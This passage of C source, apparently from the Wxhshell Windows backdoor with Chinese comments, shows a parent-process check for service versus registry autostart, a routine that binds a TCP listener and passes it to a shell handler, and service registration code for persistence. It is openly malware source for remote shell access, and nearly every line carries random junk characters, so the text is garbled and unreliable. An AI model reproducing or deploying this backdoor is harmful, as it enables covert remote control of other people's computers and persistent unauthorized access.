} PROCESS_BASIC_INFORMATION; ;&4}hPq
&~oBJar
PROCNTQSIP NtQueryInformationProcess; d`9%:2qE
wi/Fx=w
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ; V)pXLE
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]pi"M3f_
n'a=@/
HANDLE hProcess; igFz~
PROCESS_BASIC_INFORMATION pbi; !-1UJqO
$ )q?z.U
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T+p?VngF
if(NULL == hInst ) return 0; s0,c4y
t|q@~B
:
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dH"wYMNL
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?&?gQ#\N_J
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0Q>f,}W%>
P)x&9OHV
if (!NtQueryInformationProcess) return 0; b4%sOn,
u*:B 9E
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xgV.<^
if(!hProcess) return 0; Z,AF^,H[
X5i?Bb.
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `l+{jrRb<
@-y.Y}k#$~
CloseHandle(hProcess); k2{*WF
5tUp[/]pl
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h^ wu8E
if(hProcess==NULL) return 0; >jxo,xz
|r2U4^
HMODULE hMod; !K:
char procName[255]; {RFpTh7f:
unsigned long cbNeeded; %5<uQc9
AA[(rw
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gZbC[L
apsR26\^
CloseHandle(hProcess); G3O`r8oZcJ
LbX>@2(&
if(strstr(procName,"services")) return 1; // 以服务启动 R7%'
vZk
%Wy$m?gD
return 0; // 注册表启动 Zd$a}~4~
} ,h1
z8.wD|
feg
// 主模块 !DgN@P.o
int StartWxhshell(LPSTR lpCmdLine) 67Z@Hg
{ S8-3Nv'
SOCKET wsl; &&Ruy(&]I
BOOL val=TRUE; yH}(0
int port=0; t){})nZ/4
struct sockaddr_in door; dqd:V$o
z|,YO6(L
if(wscfg.ws_autoins) Install(); LLp/ SWe
/[
_aw&W}Z
port=atoi(lpCmdLine); ^2C)Wk$
:E
]Ys
if(port<=0) port=wscfg.ws_port; hKa<9>MI`
kY d'6+m
WSADATA data; ^5j+O.zgN
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CJ+/j=i;~c
iZsZSW \
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ^e*Tg&
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L9(mY `d>"
door.sin_family = AF_INET; cE(P^;7D
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9i+OYWUO
door.sin_port = htons(port); Cq mtO?vne
'T
G43^
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }G8gk"st
closesocket(wsl); z4GcS/3K
return 1; )UBU|uYR\
} %eK=5Er jx
Sg#$
B#g
if(listen(wsl,2) == INVALID_SOCKET) { x"/DCcZ
closesocket(wsl); k:1p:&*m
return 1; aMaICM
} @E Srj[
Wxhshell(wsl); gumT"x .^
WSACleanup(); QH~;B[->
AT@m_d
return 0; 7X+SK&PX
SZVNu*G!H
} yjcZTvjJ
u@ MUcW
// 以NT服务方式启动 b$7p`Ay
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) eBUexxBY
{ )\nKr;4MH
DWORD status = 0; ['~E _z
DWORD specificError = 0xfffffff; {J#SpG 7
0j{Rsy
serviceStatus.dwServiceType = SERVICE_WIN32;
=K#5I<x
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Ka\ha
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (<bYoWrK#
serviceStatus.dwWin32ExitCode = 0; v)+E!"R3.
serviceStatus.dwServiceSpecificExitCode = 0; jh7-Fl`
serviceStatus.dwCheckPoint = 0; I8ZBs0sfF{
serviceStatus.dwWaitHint = 0; zG
IxmJ.
ANIx0*Yl(
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ax"]+pb
if (hServiceStatusHandle==0) return; ,|5|aVfh
>* Ag0.Az
status = GetLastError(); !U6q;'
)-
if (status!=NO_ERROR) %5g(|Y]
{ S10"yhn(-t
serviceStatus.dwCurrentState = SERVICE_STOPPED; :%&|5Ytb
serviceStatus.dwCheckPoint = 0; )P13AfK
serviceStatus.dwWaitHint = 0; CjFnE
serviceStatus.dwWin32ExitCode = status; `!BP.-Zv
serviceStatus.dwServiceSpecificExitCode = specificError; FX1[ 2\
SetServiceStatus(hServiceStatusHandle, &serviceStatus); pCacm@(hG
return; ~&}e8ah2
} P8&BtA
|DUWB;
serviceStatus.dwCurrentState = SERVICE_RUNNING; uU$YN-
serviceStatus.dwCheckPoint = 0; #)3luf3G
serviceStatus.dwWaitHint = 0; HB|R1<t;HB
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7~zd
%
o
} |B{@noGX
fBj-R~;0
// 处理NT服务事件,比如:启动、停止 %P8*Az&]T
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,J*C'#sW
{ l&
A8P
switch(fdwControl) nYFM^56>_
{ `jHbA #sO
case SERVICE_CONTROL_STOP: }}?,({T|n
serviceStatus.dwWin32ExitCode = 0; zf4\V F
serviceStatus.dwCurrentState = SERVICE_STOPPED; /Z~}dWI
serviceStatus.dwCheckPoint = 0; b((>?=hh
serviceStatus.dwWaitHint = 0; Jn :h;|9w
{ S4ys)!V1V
SetServiceStatus(hServiceStatusHandle, &serviceStatus); T]_]{%z
} "26=@Q^Y
return;
R$|"eb5
case SERVICE_CONTROL_PAUSE: 5&